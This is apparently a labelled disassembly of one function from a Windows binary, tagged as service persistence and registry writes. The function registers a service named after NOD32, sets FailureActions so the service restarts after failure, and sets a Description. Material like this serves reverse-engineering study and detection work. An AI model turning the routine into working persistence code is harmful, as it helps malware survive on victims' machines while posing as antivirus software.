Function at 0x403c20
Capabilities:
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x140
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x4d]
mov byte [esp + 0x4c], bl
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x40]
push str.N.O.D.3.2
push eax
mov dword [esp + 0x18], ebx
call ebp
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x54]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.N.O.D.3.2
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x4c]
push ecx
call ebp
mov edi, 0x412710
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x5c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.N.O.D.3.2
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x54]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call ebp
add esp, 0x18
lea ecx, [esp + 0x10]
lea edx, [esp + 0x4c]
push ecx
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [esp + 0x40]
push str.N.O.D.3.2
push eax
call ebp
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], bl
mov byte [esp + 0x1f], bl
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], bl
lea ecx, [esp + 0x48]
push str.N.O.D.3.2
push ecx
mov byte [esp + 0x2e], bl
mov byte [esp + 0x2f], bl
mov byte [esp + 0x30], 3
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], bl
mov byte [esp + 0x34], 0x53
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x65
mov byte [esp + 0x37], bl
mov byte [esp + 0x38], 1
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], bl
mov byte [esp + 0x3f], bl
mov byte [esp + 0x40], 1
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], bl
mov byte [esp + 0x43], bl
mov byte [esp + 0x44], bl
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], bl
mov byte [esp + 0x47], bl
mov byte [esp + 0x48], 1
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], bl
mov byte [esp + 0x4b], bl
mov byte [esp + 0x4c], bl
mov byte [esp + 0x4d], bl
mov byte [esp + 0x4e], bl
mov byte [esp + 0x4f], bl
call ebp
mov eax, dword [esp + 0x20]
add esp, 0x10
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea edx, [esp + 0x14]
push 0x2c
push edx
push 3
push ebx
push str.FailureActions
push eax
call esi
lea ecx, [esp + 0x40]
push str.N.O.D.3.2
push ecx
call ebp
add esp, 8
push 0x412a1c
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [esp + 0x10]
push eax
push 0x412a1c
push 1
push ebx
push str.Description
push edx
call esi
lea eax, [esp + 0x40]
push str.N.O.D.3.2
push eax
call ebp
mov ecx, dword [esp + 0x18]
add esp, 8
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x40]
push str.N.O.D.3.2
push edx
call ebp
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x140
ret